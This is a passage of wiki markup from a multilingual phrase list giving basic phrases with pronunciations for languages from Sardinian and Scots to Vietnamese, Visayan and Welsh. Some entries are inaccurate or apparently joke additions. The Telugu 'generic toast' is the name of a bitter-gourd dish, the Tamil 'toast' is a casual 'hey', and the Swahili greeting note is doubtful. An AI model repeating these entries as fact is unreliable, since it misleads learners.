*I don't speak Sardinian: Non faeddo su sardu
*where's the bathroom?: 
*hello, and generic toast: ''saludos'' /sa'luDe/ &quot;saw-LOODHE&quot;

== [[Scots language|Scots]] ([[Germanic languages|Germanic]]) ==

Scots survives in a number of dialects. The North east Central (Fife) pronunciation is marked NeC, North East Scots ([[Doric dialect|Doric]]) is marked as NE. C ans S for central and southern pronunciatons. The unmarked pronunciations are generally used in most areas.
A &lt;tt&gt;/t/&lt;/tt&gt; between vowels and final is [[Glottal Stop|glottalised]]. This may also occur with a final &lt;tt&gt;/d/&lt;/tt&gt;.

*Scots: ''Scots'' &lt;tt&gt;[skots, skOts]&lt;/tt&gt;
*hello: ''awricht'' &lt;tt&gt;[A'rIxt, a'rIxt]&lt;/tt&gt;, NE: ''whit like'' &lt;tt&gt;[fIt l@ik]&lt;/tt&gt;
*good-bye: ''see ye'' &lt;tt&gt;[si: ji:]&lt;/tt&gt;
*thank you: ''ta'' &lt;tt&gt;[ta:]&lt;/tt&gt;
*that one: ''that ane'' &lt;tt&gt;[&lt;tt&gt;C and S&lt;/tt&gt; Dat jIn, &lt;/tt&gt;NeC&lt;/tt&gt; Dat en, at en,&lt;/tt&gt; NE &lt;tt&gt;at in]&lt;/tt&gt;
*no: ''nae'' &lt;tt&gt;[ne:, nQ &lt;tt&gt; NE &lt;tt&gt;na]&lt;/tt&gt;
*yes: ''ay'' &lt;tt&gt;[AI]&lt;/tt&gt;
*sorry: ''sairy'' &lt;tt&gt;[se:rI]&lt;/tt&gt;
*I don't understand: ''A dinna unnerstaund'' &lt;tt&gt;[a dIn@ Vn@rstA:n(d), a dIne Vn@rstA:n(d), a dIna Vn@rstA:n(d)]&lt;/tt&gt; 
*where's the bathroom?: ''whaur's the cludgie?'' &lt;tt&gt;[WA:rz D@ klVdZI,]&lt;/tt&gt;. NE: ''whaur's the chantie'' &lt;tt&gt;[fArz i 'tSVntI]&lt;/tt&gt; 
*generic toast: ''cheers!'' &lt;tt&gt;[tSi:rz]&lt;/tt&gt;
*Do you speak English?: ''Dae ye speak English?'' &lt;tt&gt;[de: ji spIk INlIS,&lt;tt&gt; NE &lt;tt&gt; di: ji spIk INlIS]&lt;/tt&gt;

== [[Scottish Gaelic language|Scottish Gaelic]] ([[Celtic languages|Celtic]]) ==

*Gaelic: ''Gàidhlig'' (GAH-lick)
*welcome: ''fàilte'' (FAL-tyuh)
*good-bye: ''mar sin leat'' (mar SHIN let)
*please: ''mas e do thoil e'' (mah SHEH daw HOL eh)
*thank you: ''tapadh leat'' (TAH-pah let)
*sorry: ''tha mi duilich'' (hah mee DOO-leekh)
*that one: ''am fear sin'' (am fer SHIN)
*how much?: ''cia mheud'' (kah VIT)
*English: ''Beurla'' (BYER-luh)
*yes: &lt;sup&gt;2&lt;/sup&gt;''tha'' (hah)
*no: &lt;sup&gt;3&lt;/sup&gt;''chan eil'' (chan YIL)
*I don't understand: ''chan eil mi a' tuigsinn'' (khan YIL mee uh TOOK-shin)
*Where's the bathroom?: ''càit a bheil an taigh beag?'' (KATCH-uh vil an TUH-eeh bik)
*generic toast: ''slàinte'' (SLAN-tyuh)

== [[Serbian language|Serbian]] ([[Slavic languages|Slavic]]) ==
'''Ekavian Speech'''
*Serbian: српски srpski /srp-skee/ (srpskee)
*hello: здраво zdravo /zdrA-vO/ (z like in zebra) Literal translation: healthy
*good morning: добро јутро ''dobro jutro''
*good afternoon: добар дан ''dobar dan''
*good evening: добро вече ''dobro veče''
*good-bye: довиђења ''doviđenja'' /dOvidʲɛnʲɑ/ Literal translation: until we see again
* please: молим ''molim'' /mO-lim/ (moleam)
* thank you: хвала ''hvala'' /hvA-la/ Literal translation: praise
* that one: то ''to'' ('''not''' as English to)
* how much?: колико? ''koliko?'' /ko-lɛ-ko/ (coleeco, co-, -co =&gt; cup)
* English: енглески ''engleski'' /ɛn-glɛ-ski/ (-skee)
* yes: да ''da'' /dA/
* no: не ''ne'' /nɛ/
* generic toast: живели! ''živeli!'' /ʒi-vɛ-li/ (zhiveli) Literal translation: live!
* sorry: извините ''izvinite'' /ezveeneete/ (formal)
* I don't understand: не разумем ''ne razumem'' /na rAzumem/
* Where is [the bathroom (toilet)]?: Где је тоалет? ''Gde je toalet?'' /gdɛ jɛ toAlEt/
* Do you speak English?: Да ли говорите енглески? ''Da li govorite engleski?''

== [[Sicilian language|Sicilian]] ([[Romance languages|Romance]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | English
! align=left | Sicilian
|- valign=top
|-
|Yes
|&lt;b&gt;Sì&lt;/b&gt;
|-
|No
|&lt;b&gt;No&lt;/b&gt;
|-
|Thank you
|&lt;b&gt;Grazzî&lt;/b&gt;
|-
|Please
|&lt;b&gt;Pi fauri&lt;/b&gt;
|-
|What is your name?
|&lt;b&gt;Comu ti chiami?&lt;/b&gt;
|-
|What time is it?
|&lt;b&gt;Chi ura sunnu?&lt;/b&gt;
|-
|I don't know
|&lt;b&gt;Nun lu sacciu&lt;/b&gt;
|-
|Goodbye
|&lt;b&gt;Nni videmu&lt;/b&gt;
|}

== [[Slovak language|Slovak]] ([[Slavic languages|Slavic]]) ==
NOTE: adjectives are in masculine singular nominative, if there are two ways of saying something (formal/informal), the formal one is used.
Stress is always on the first syllable of the word.

*Slovak (adjective): ''slovenský'' (SLOvenskeee) /{{IPA|slovɛnskiː}}/
*Slovak (adverb): ''po slovensky'' (POslovenskee) /{{IPA|po slovɛnski}}/
*hello: ''dobrý deň'' (DObreee dyen) /{{IPA|dobriː ɟɛɲ}}/ Literal translation: good day
*good-bye: ''dovidenia'' (DOveedyeniya) /{{IPA|doviɟɛɲi̯a}}/
*please: ''prosím (Vás)'' (PROseeem vaas) /{{IPA|prosiːm vaːs}}/
*thank you: ''ďakujem (Vám)'' (DYAkooyem vaam) /{{IPA|ɟakujɛm vaːm}}/
*that one: ''tamten'' (TAMten) /{{IPA|tamtɛn}}/
*how much?: ''koľko'' (KOlko) /{{IPA|koʎko}}/
*English (adjective): ''anglický'' (ANglytskeee) /{{IPA|aŋgliʦkiː}}/
*English (adverb): ''po anglicky'' (POanglytskee) /{{IPA|po aŋgliʦki}}/
*yes: ''áno'' (AANO) /{{IPA|aːno}}/
*no: ''nie'' (niye) /{{IPA|ɲi̯ɛ}}/
*generic toast: ''Na zdravie'' (NAzdravye) /{{IPA|na zdravi̯ɛ}}/
*sorry: ''Prepáčte'' (PREpaachtye) /{{IPA|prɛpaːʧcɛ}}/
*I don't understand: ''Nerozumiem'' /NYerozoomyem/ ({{IPA|ɲɛrozumi̯ɛm}}/)
*Where is [the bathroom (toilet)]?: ''Kde je [záchod]? '' (KDYE YE ZAA-khod) /{{IPA|gɟɛ jɛ zaːxot}}/
*Do you speak [English]?: ''Hovoríte [po anglicky]?'' (HOvoreeetye POanglytskee) /{{IPA|hovoriːcɛ po aŋgliʦki}}/

== [[Slovene language|Slovene]] ([[Slavic languages|Slavic]]) ==

*Slovene: ''slovensko'' /{{IPA|slɒ'venskɒ}}/
*hello: ''zdravo'' /{{IPA|'zdrɑvɒ}}/ Literal translation: healthy
*hello: ''živijo'' /{{IPA|'ʒɪʊjɒ}}/
*good-bye: ''nasvidenje'' (also ''na svidenje'') /{{IPA|na'svɪdɛnjɛ}}/
*please: ''prosim'' /{{IPA|'prɔsim}}/
*thank you: ''hvala'' /{{IPA|'hvɑla}}/ 
*that one: ''tisti'' /{{IPA|'tɪstɪ}}/ (ti-, -ti =&gt; ''Ti''bet)
*how much?: ''koliko?'' /{{IPA|'kɔlɪkɒ}}/ (co-, -co =&gt; cup)
*English: ''angleško'' /{{IPA|ɑn'gleʃkɒ}}/
*yes: ''da'' /{{IPA|dʌ}}/ (official), ''ja'' (colloquial)
*no: ''ne'' /{{IPA|nɛ}}/
*generic toast: ''na zdravje'' /{{IPA|nɑ zdrɑʊjɛ}}/ Literal translation: to (our) health

== [[Spanish language|Spanish]] ([[Romance languages|Romance]]) ==
&lt;small&gt;NOTE&lt;/small&gt;: For words ending in a vowel or the letters n or s, stress is on the penultimate (next to last) syllable. Words ending in other consonants, especially [[verbs]], are stressed on the last syllable. Exceptions require a written accent. The ''th'' {{IPA|[θ]}} pronunciation is typical of standard Spanish as spoken in most of Spain, and is replaced by the ''s'' pronunciation in Latin America and some regions of Spain, such as the Canary Islands.

{| border=0 cellpadding=3 cellspacing=0 style=&quot;font-family:'Lucida Sans Unicode';&quot;
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
|- valign=top
| Spanish
| '''castellano'''&lt;br&gt;&lt;br&gt;'''español'''
| {{IPA|/kasteˈʎano/}}&lt;br&gt;{{IPA|/kasteˈʝano/}}&lt;br&gt;{{IPA|/espaˈɲol/}}
| 
| 
|- valign=top bgcolor=#f8f8f8
| hello
| '''hola'''
| {{IPA|/ˈola/}}
| [[Media:Spanish hola.ogg|listen]]
| 
|- valign=top
| good morning
| '''buenos días'''
| {{IPA|/bwenosˈð̞iːas/}}
| 
| lit. ''good days''
|- valign=top bgcolor=#f8f8f8
| goodbye
| '''adiós'''
| {{IPA|/aˈð̞jos/}}
| [[Media:Spanish adiós.ogg|listen]]
| from '''a Dios''' ''to God''
|- valign=top
| see you
| '''hasta luego'''
| {{IPA|/ˈastaˈlweɰo/}}
| [[Media:Spanish hasta luego.ogg|listen]]
| lit. ''until (we see) later''
|- valign=top bgcolor=#f8f8f8
| please
| '''por favor'''
| {{IPA|/por faˈβ̞or/}}
| 
| lit. ''by favour''
|- valign=top
| thank you
| '''gracias'''
| {{IPA|/ˈgraθjas/}}&lt;br&gt;{{IPA|/ˈgrasjas/}}
| 
| 
|- valign=top bgcolor=#f8f8f8
| you’re welcome&lt;br&gt;don't mention it
| '''de nada'''
| {{IPA|/deˈnað̞a/}}
| 
| lit. ''(it was) of nothing''
|- valign=top
| sorry
| '''perdón'''
| {{IPA|/perˈð̞on/}}
|
| lit. ''(I beg your) pardon''
|- valign=top 
| pardon me
| '''perdóneme'''
| {{IPA|/pɛɾˈð̞o.ne.me/}}
|
|- valign=top bgcolor=#f8f8f8
| I'm sorry
| '''lo siento'''
| {{IPA|/loˈsjɛn.to/}}
|
| 
|- valign=top
| forgive me
| '''discúlpame'''&lt;br /&gt;'''disculpe''' (formal)
| {{IPA|/disˈkul.pa.me/}}
| 
| 
|
|- valign=top bgcolor=#f8f8f8
| this one
| '''éste''' (masculine)&lt;br&gt;'''ésta''' (feminine)
| {{IPA|/ˈeste/}}&lt;br&gt;{{IPA|/ˈesta/}}
| 
| 
|- valign=top
| that one
| '''ése''' (masculine)&lt;br&gt;'''ésa''' (feminine)
| {{IPA|/ˈese/}}&lt;br&gt;{{IPA|/ˈesa/}}
| 
| 
|- valign=top bgcolor=#f8f8f8
| that yonder
| '''aquél''' (masculine)&lt;br&gt;'''aquella''' (feminine)
| {{IPA|/aˈkel/}}&lt;br&gt;{{IPA|/aˈkeʎa/}}&lt;br&gt;{{IPA|/aˈkeʝa/}}
| 
| 
|- valign=top
| how much?
| '''¿cuánto?'''
| {{IPA|/ˈkwanto/}}
| 
| 
|- valign=top bgcolor=#f8f8f8
| English
| '''inglés'''
| {{IPA|[iŋˈgles]}}
| 
| 
|- valign=top
| yes
| '''sí'''
| {{IPA|/ˈsi/}}
| 
| 
|- valign=top bgcolor=#f8f8f8
| no
| '''no'''
| {{IPA|/ˈno/}}
| 
| 
|- valign=top
| I don’t understand
| '''no comprendo'''&lt;br&gt;'''no entiendo'''
| {{IPA|/nokomˈprendo/}}&lt;br&gt;{{IPA|/noenˈtjendo/}}
| 
| 
|- valign=top bgcolor=#f8f8f8
| I don’t know
| '''no sé'''
| {{IPA|/noˈse/}}
| 
| 
|- valign=top
| where’s the bathroom?(shower)
| '''¿Dónde está el baño?'''
| {{IPA|/dondesˈtaelˈβ̞aɲo/}}
| 
|- valign=top
| where are the restrooms? (toilet,lavatories,plural)
| '''¿Dónde están los sanitarios? (Latin America) ¿Dónde está el aseo? (Spain)'''
|
|- valign=top bgcolor=#f8f8f8
| generic toast
| '''salud'''
| {{IPA|/saˈluð̞/}}
| 
| lit. ''health''
|- valign=top 
| Do you speak English? (direct polite)
| '''¿Habla inglés?'''
| {{IPA|/ˈaβ̞laiŋˈgles/}}
| ([[Media:Spanish_habla_inglés.ogg|listen]])
| polite question
|-valign=top 
|  I hope  (to wish,to hope)
|'''Ojalá'''
|{{IPA| /oxaˈla/}} 
|}

== [[Swahili language|Swahili]] ([[Bantu]]) ==

Usage Note: Greetings in Swahili are a crucial aspect of Swahili culture; it is not uncommon for a conversation to last five minutes before it actually moves beyond saying &quot;Hello&quot;. There is no generic word for &quot;Hello&quot; in the language, rather there are numerous options depending on the relative ages and/or race of the people involved, as well as singular and plural forms. A non-comprehensive list would include &quot;hujambo&quot; (reply &quot;sijambo&quot;) for two people of similar age and race, &quot;jambo&quot; (reply &quot;jambo&quot;) for between white and black people, &quot;Shikamoo&quot; (reply &quot;Marahaba&quot;) for a young person to an elderly person, &quot;Hodi&quot; (reply &quot;Karibu&quot;) when in the doorway of a house. There are additionally numerous informal greetings such as &quot;Mambo&quot;, &quot;Safi&quot;, and many more. Farewells are abrupt or even non-existent.

*Swahili: ''Kiswahili'' /ki swa hi li/ (kee-swa-HEE-lee)
*hello: Jambo (ja m boh) or (ya m boh)
*good-bye: ''kwa heri'' /kwa he ri/ (kwa HAY-ree)
*please: ''tafadhali'' /ta fa ða li/ (tah-fah-tha-lee)

*thank you: ''asante'' /a san te/ (ah-SAHN-tey)
*that one: ''yule'' /ju le/ (YOO-lay)
*how much?: ''ngapi'' /ŋa pi/ (ng-AH-pee)
*where?: ''wapi'' /wa pi/ (WA-pee)
*English: ''Kiingereza'' /ki iŋe re za/ (kee-ing-reza)
*yes: ''ndiyo'' /n di jo/ (nn-DEE-yoh)
*no: ''hapana'' /ha pa na/ 
*generic toast: //
*no worries: ''hakuna matata'' /ha ku na  ma ta ta/ (ha-KOO-na ma-TA-ta)

== [[Swedish language|Swedish]] ([[Germanic languages|Germanic]]) ==

*Swedish: ''svenska'' /{{IPA|'svɛnska}}/
*hello: ''hej'' /{{IPA|hɛj}}/ (hey)
*good-bye: ''hej då'' /{{IPA|hɛj doː}}/ (HEY-doh)
*please: ''tack'' /tak/ (tahck) as in &quot;yes, please&quot; or ''snälla'' /{{IPA|'snɛla}}/ (snella) as in &quot;please, show me to the station&quot; or &quot;var så god&quot; /{{IPA|vaʂɔ'guːd}}/ (vahr saw goh) as in &quot;please come in and make yourself at home&quot;
*excuse me: ''ursäkta mig'' /{{IPA|'ʉːʂɛkta mɛj}}/ or /{{IPA|ʉ'ʂɛkta mɛj}}/ (uor-SECKTAH may)
*thank you: ''tack'' /{{IPA|tak}}/ (tahck)
*that one: ''den där'' /{{IPA|dɛn dæːɾ}}/ (den dehr)
*how much?: ''hur mycket?'' /{{IPA|hʉːɾ 'mʏkːɛ}}/ (huwr MICK-eh)
*English: ''engelska'' /{{IPA|'ɛŋːɛlska}}/ (ENG-el-skah)
*yes: ''ja'' /{{IPA|jɑː}}/ or /{{IPA|ja}}/ (yah)
*no: ''nej'' /{{IPA|nɛj}}/ (neigh)
*generic toast: ''skål'' /{{IPA|skoːl}}/ (skal ''or'' skol)
*banana: ''banan'' /{{IPA|ba'nɑːn}}/ (buh-NAAN)
*what time is it?: ''vad är klockan?'' /{{IPA|vɑː æ 'klɔkːan}}/ (vaad air KLAWCK-an)
*Where's the bathroom?: ''var är toaletten?'' /{{IPA|vɑːɾ æ tʊa'lɛtːɛn}}/ (vahr eyr twah-LET-en)
*I don't understand: ''jag förstår inte'' /{{IPA|ja fœ'ʂtoːɾ 'ɪntɛ}}/ (yah fur-SHTOHR in-teh)
*Do you speak English?: ''Talar du engelska?'' /{{IPA|'tɑːlaɾ dʉ 'ɛŋːɛlska}}/ (TAH-lahr doo ENG-elska) [with NG as in 'siNGer', not as in 'fiNGer']

== [[Tagalog language|Tagalog]]/[[Filipino language|Filipino]] ([[Malayo-Polynesian]]) ==
'''Note:''' The polite forms of some phrases - those which make use of the word ''pô'' - should generally be used when speaking to persons of authority and seniority, or to show reverence to the person to whom spoken. With friends and in casual situations, ''pô'' is not used. Also, in modern written Filipino/Tagalog, diacritical marks are omitted.


{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|- valign=top
|-
| Tagalog || ''Tagalog'' || {{IPA|/tɐ&quot;galog/}} || ''(ta-GA-log)''
|-
| Filipino || ''Pilipino'' || {{IPA|/%pili&quot;pino/}} || ''(pi-li-PI-no)''
|-
| Hello/How are you? || ''Kumustá''/''Kumustá ka?'' || {{IPA|/kumus&quot;ta (ka)/}} || ''(ku-mus-TAH (KA?))''
|-
| I'm fine, and you? || ''Mabuti namán, ikáw?'' || {{IPA|/mɐ&quot;butɛ nɐ&quot;man, ʔi&quot;kaʊ̯/}} || ''(ma-BU-ti na-MAN, iKAW?)''
|-
| Good-bye || ''Paalam (pô)'' || {{IPA|/pɐ&quot;ʔalam (poʔ)/}} || ''(pa-AH-lam (PO))''
|-
| Please || ''pakí-''(verb) ''(pô)'' || {{IPA|/pɐ&quot;ki (poʔ)/}} || ''(pah-KI (PO))''
|-
| Thank you || ''Salamat (pô)'' || {{IPA|/sɐ&quot;lamat (poʔ)/}} || ''(sa-LAH-mat (PO))'' 
|-
| You're welcome || ''Waláng anumán (pô)'' (literally, &quot;No problem&quot;) || {{IPA|/ʊɐ&quot;laŋ ʔɐnu&quot;man (poʔ)/}} || ''(wa-LANG a-nu-MAN (PO))'' 
|-
| That one (object far from person spoken to) || ''Iyon (pô)'' [demonstrative] ''Ayun (pô)'' [reflective]|| {{IPA|/ʔi&quot;jon (poʔ)/}} || ''(i-YON (PO))''
|-
| That one (object near to/held by person spoken to) || ''Iyan (pô)'' [demonstrative] ''Ayan (pô)&quot; [reflective] {{IPA|/ʔi&quot;jan (poʔ)/}} || ''(i-YAN (PO))''
|-
| How much? || ''Magkano (pô)?'' || {{IPA|/mɐg&quot;kano (poʔ)/}} || ''(mag-KAH-no (PO)?)''
|-
| English || ''Ingglés'' || {{IPA|/ʔɪŋ&quot;glɛs/}} || ''(ing-GLES)''
|-
| Yes || ''Oo'' / ''Opò'' (polite form) || {{IPA|/&quot;oʔo/, /&quot;opoʔ/}} || ''(O-o) / (O-po)'' (all o's pronounced neutral)
|-
| No || ''Hindî '' || {{IPA|/hɪn&quot;diʔ/, /hɪn&quot;dɛʔ/}} || ''(hin-DI)'' or ''(hin-DE)''
|-
| No (polite form) || ''Hindí pô'' || {{IPA|/hɪn&quot;di (poʔ)/}} || ''(hin-DI PO)''
|-
| Where's the bathroom? || ''Nasaán ang banyo?'' || {{IPA|/%nasɐʔan ʔaŋ &quot;banjo/}} || ''(NA-sa-AN ang BAN-yoh?)''
|-
| What is your name? (casual) || ''Anó ang pangalan mo?'' || {{IPA|/ʔɐ&quot;no ʔaŋ pɐ&quot;ŋalan mo/}} || ''(ah-NOH ang pa-NGA-lan MOH?)''
|-
| What is your name? (formal) || ''Anó pô ang inyóng pangalan?'' || {{IPA|/ʔɐ&quot;no poʔ ʔaŋ ʔɪn&quot;joŋ pɐ&quot;ŋalan/}} || ''(ah-NOH PO ang in-YONG pah-NGA-lan?)''
|-
| Sorry || ''Paumanhín (pô)'' || {{IPA|/pɐʔuman&quot;hin (poʔ)/}} || ''(pa-u-man-HIN (PO))''
|-
| I don't know || ''Hindí ko (pô) alám'' || {{IPA|/hɪn&quot;di ko (po) ʔa&quot;lam/}} || ''(hin-DI ko (PO) a-LAM)''
|-
| I don't understand || ''Hindí ko (pô) naíintindihan'' || {{IPA|/hɪn&quot;di ko (po) na&quot;iɪntindihan/}} || ''(hin-DI ko (PO) na-I-in-tin-di-han)''
|-
| I don't remember || ''Hindí ko (pô) natátandaan'' || {{IPA|/hɪn&quot;di ko (po) na&quot;tatandɐʔan/}} || ''(hin-DI ko (PO) na-TA-tan-da-an)''
|-
| Welcome/Generic toast || ''Mabuhay!'' (literally, &quot;Long live!&quot;) || {{IPA|/mɐ&quot;buhaɪ/}} || ''(ma-BU-hai)''
|-
| I am sick || ''Masamâ (po) ang pakiramdám ko'' (literally, &quot;I'm not feeling well&quot;) || {{IPA|/masɐ&quot;maʔ (po) ʔaŋ pɐkiɾɐm&quot;dam ko/}} || ''(ma-sa-MAH po ang pa-ki-ram-DAM ko)''
|-
| Do you speak English? || ''Marunong ka bang magsalitâ ng Ingglés?'' || {{IPA|/mɐ&quot;runɔŋ ka baŋ mɐgsali&quot;ta naŋ ʔɪŋ&quot;glɛs/}} || ''(ma-ROO-nong ka BANG mag-sa-li-TA nang ing-GLES?)''
|}

== [[Tamil language|Tamil]] ([[Dravidian languages|Dravidian]]) ==

{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;font-family: Lucida Sans Unicode&quot;
|-
!bgcolor=#EEEEEE|translation
!bgcolor=#EEEEEE|phrase
!bgcolor=#EEEEEE|IPA
!bgcolor=#EEEEEE|
|-
|Tamil 
|தமிழ்
|t̪ɐmɨɹ
|
|-
|hello 
|வணக்கம் ''Vanakkam'' 
|{{IPA|vanakːam}}
|
|-
|good-bye 
|சென்று வருகிறேன் ''sentru varukireen'' 
|{{IPA|sentu varukireen}}
|
|-
|please
|தயவு செய்து ''dayavu seithu''
|{{IPA|tajavu seiθu}}
|
|-
|thank you 
|நன்றி ''nandri'' 
|{{IPA|nantʕi}}
|
|-
|sorry
|மன்னிக்கவும் ''mannikkavum'' 
|
|
|-
|that one 
|அது ''adhu'' 
|{{IPA|a tʰu}}
|
|-
|how much? 
|எவ்வளவு ''evvalavu'' 
|{{IPA|evːalavu}}
|
|-
|yes 
|ஆம் ''aam'' 
|{{IPA|aːm}}
|
|-
|no 
|இல்லை ''illai'' 
|{{IPA|ilːaj}}
|
|-
|I don't understand 
|எனக்குப் புரியவில்லை
|
|
|-
|Where's the bathroom? 
|குளியலறை எங்கே உள்ளது?
|
|
|-
|generic toast (not used in formal occassions and to elders): (Hey) 
|டேய்! ''dei'' 
|{{IPA|de:i}}
|
|-
|English 
|ஆங்கிலம் ''aangilam'' 
|{{IPA|aːŋilam}}
|
|-
|Do you speak English?
|நீங்கள் ஆங்கிலம் பேசுவீர்களா?
|
|
|}

==[[Tatar language|Tatar]] ([[Turkic languages|Turkic]])==

*äye - yes 
*yuq - no 
*isänme(sez)/sawmı(sız) - hello 
*sälâm - hi 
*saw bul(ığız)/xuş(ığız) - goodbye 
*zínhar öçen - please 
*min - I 
*sin - you 
*ul - he / she / it 
*bez - we 
*sez - you 
*alar - they 
*millät - nation 
*İngliz(çä) - English

== [[Telugu language|Telugu]] ([[Dravidian languages|Dravidian]]) ==

*Telugu: ''Andhra Bhasha'' {{IPA|/andʰra bʰaʃa/}} 

*hello: ''namaskaaram'' {{IPA|/namaskaːram/}} 

*good-bye: ''Selavu'' {{IPA|/selavu/}} 

*please: ''Daya chesi'' {{IPA|/daja ʧesi/}} 

*thank you: ''Dhanyavadamulu'' {{IPA|/dʰanjavadamulu/}} 

*that one: ''adi'' {{IPA|/adi/}} 

*how much?: ''Enta'' {{IPA|/enta/}} 

*English: ''Aanglam'' {{IPA|/aːŋlam/}} 

*yes: ''Avunu'' {{IPA|/avunu/}} 

*no: ''Kaadu'' {{IPA|/kaːdu/}} 

*I dont understand: ''Naaku artham kaledhu'' 

*Where is the bathroom ?: ''Shauchalayam ekkada ?'' 

*How are you?: ''ela Vunnaru ?'' 

*Language: ''Basha'' 

*Where are we going ?: ''ekkadiki valthunnam manam ?'' 

*What, where, why, when, who, how, : ''enti, ekkada, endhuku, eppudu, evaru, ela'' 

*generic toast: ''Kakarakaaya vepudu'' {{IPA|/kakarakaːja vepudu/}}

== [[Turkish language|Turkish]] ([[Turkic languages|Turkic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|- valign=top
| hello
| merhaba
| {{IPA|meɾhaba}}
|- valign=top
| welcome
| hoş geldiniz
| {{IPA|hoʃ gʲeldiniz}}
|- valign=top
| good morning
| günaydin
| {{IPA|gʲynajdin}}
|- valign=top
| good afternoon
| iyi günler
| {{IPA|iː gʲynleɾ}}
|- valign=top
| good evening
| iyi akşamlar
| {{IPA|iː akʃamlaɾ}}
|- valign=top
| good night
| iyi geceler
| {{IPA|iː gʲedʒeleɾ}}
|- valign=top
| good bye
| Allahaιsmarladιk
hoşçakal
hoşçakalιn
| {{IPA|hoʃtʃakal}}
{{IPA|hoʃtʃakalɯn}}
|- valign=top
| please
| lütfen
| {{IPA|lytfen
|- valign=top
| thank you
| teşekkür ederim
| {{IPA|teʃekʲyɾ edeɾim}}
|- valign=top
| how much
| ne kadar
| {{IPA|ne kadaɾ}}
|- valign=top
| English
| Ingilizce
|
|- valign=top
| Turkish
| Türkçe
| {{IPA|tyɾktʃe}}
|- valign=top
| yes
| evet
| {{IPA|evet}}
|- valign=top
| no
| hayιr
| {{IPA|hajɯɾ}}
|}

== [[Ukrainian language|Ukrainian]] ([[Slavic languages|Slavic]]) ==

''Note: adjectives have different forms when describing feminine, masculine or neuter nouns.''

{| border=0 cellpadding=3 cellspacing=0 
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | pronunciation
! align=left | Literally
|- valign=top
| Ukrainian
| ''f'': українська &lt;br /&gt;
''m'': український &lt;br /&gt;
''n'': українське
| {{IPA|/uˌkraˈjinˌs&lt;sup&gt;j&lt;/sup&gt;ka/}} &lt;br /&gt;
{{IPA|/uˌkraˈjinˌs&lt;sup&gt;j&lt;/sup&gt;kɪj/}} &lt;br /&gt;
{{IPA|/uˌkraˈjinˌs&lt;sup&gt;j&lt;/sup&gt;kɛ/}}
| ooh-kra-YEEN-ska &lt;br /&gt;
ooh-kra-YEEN-skiy &lt;br /&gt;
ooh-kra-YEEN-ske
|
|- valign=top bgcolor=#f8f8f8
| hello
| привіт
| {{IPA|/prɪˈvit/}}
| pri-VEET
| &quot;greetings&quot;
|- valign=top
| good-bye
| до побачення
| {{IPA|/do poˈbaˌtʃenˌn&lt;sup&gt;j&lt;/sup&gt;a/}}
| doh po-BAH-chen-nyah
| &quot;until seeing&quot;
|- valign=top bgcolor=#f8f8f8
| please
| будь ласка
| {{IPA|/bud&lt;sup&gt;j&lt;/sup&gt; ˈlaˌska/}}
| bood LA-ska
| &quot;be kind&quot;
|- valign=top
| thank you
| дякую
| {{IPA|/ˈdjakuju/}}
| DYA -koo-yoo
|}

== [[Vietnamese language|Vietnamese]] ([[Austro-Asiatic languages|Austroasiatic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
|-
|'''Vietnamese''' || tiếng Việt :Teeng Viet
|-
|'''Hello''' || xin chào :Xin chao (ch- as in chocolate)
|-
|'''Good bye''' || tạm biệt :Taam Byeet
|-
|'''Yes''' || có  :Kaw
|-
|'''No''' || không :Khum
|-
|'''Thank you''' || cảm ơn :Caam uhng
|-
|'''You're welcome''' || Không có chi  :Khum kaw chee
|-
|'''I'm sorry''' || Tôi xin lỗi : Toi tsin loy
|-
|'''English''' || tiếng Anh :Teeng ahn
|-
|'''Do you speak English?''' || [[Vietnamese pronouns|Bạn]] có biết nói tiếng Anh không? :Baan kaw byeet nawhy teeng ahn khong?
|-
|'''Please''' || Làm ơn : Lam earn (same sound without the r in earn)
|-
|'''Who?''' || Ai? : Aye?
|-
|'''What?''' || Cái gì? : Kai zee?
|-
|'''When?''' || Hôi nào? : hoy (as in oy!) now?
|-
|'''Where?''' || ơ dâu? : Uh dough?
|-
|'''Why?''' || Tai sao? : Tai south (same sound without the trailing th sound)?
|-
|'''How?''' || Nhu' nào? : Yeuh now? (Nhu sounds like the spanish ñ)
|-
|}

== [[Visayan language|Visayan]]/[[Filipino language|Filipino]] ([[Malayo Polynesian]])==

*English: ''Inglés''
*Visayan - ''Bisayan''
*Hello - ''helo''
*good-bye - ''paalam''
*How are you/How you've been? - ''Kumusta (ka na)''
*Where?: ''asa?''
*This one?: ''ma o ni?/kani?''
*thank you: ''salamat''
*Do you speak English?: ''maka istorya ka'g inglés?
*Do you speak Visayan?: ''maka istorya ka'g bisaya?
*yes: ''o'o''
*no: ''dili''
*this or this?: ''kani o kani?''
*clock: ''relo; orasan''
*What time is it?: ''unsa nang oras?''
*It's twelve o'clock: ''alas dose na''
*Do you understand?: ''kasabut ka?''
*It's important: ''importante ni''
*How much?: ''pila?''
*Do it again: ''otroha; usba''
*one, two, three...: uno, dos, tres/usa, doha tolo
*Can I use your phone?: ''puede ko maka gamit sa imong telefono?''
*Can I pay with dollars?: ''puede ko maka bayad ug dolyares?''
*Have a good trip!: ''maayong pag biyahe!''
*Return soon: ''balik pohon''
*Good Luck: ''maayong swerte''

== [[Welsh language|Welsh]] (Celtic) ==
*Welsh: ''Cymraeg'' ''(kum-RAig)''
*English: ''Saesneg'' ''(SAY-sneg)''
*Good morning!: ''Bore da!'' ''(bo-re da)''
*Good afternoon!: ''P'nawn da!'' ''(p'nown da)''
*Welcome!: ''Croeso!'' ''(KROY-so)''
*Goodbye!: ''Da boch chi!'' ''(da BO-khi)''
*Cheerio!: ''Hwyl fawr!'' ''(hooil vowR)''
*Good night!: ''Nos da!'' ''(noss da)
*Please: ''Os gwelwch chi'n dda'' ''(oss GWEL-oo-khin dha)''
*Thank you: ''Diolch'' ''(DEE-olkh)
*Thank you very much: ''Diolch yn fawr'' ''(DEE-olkh'n vowR)''
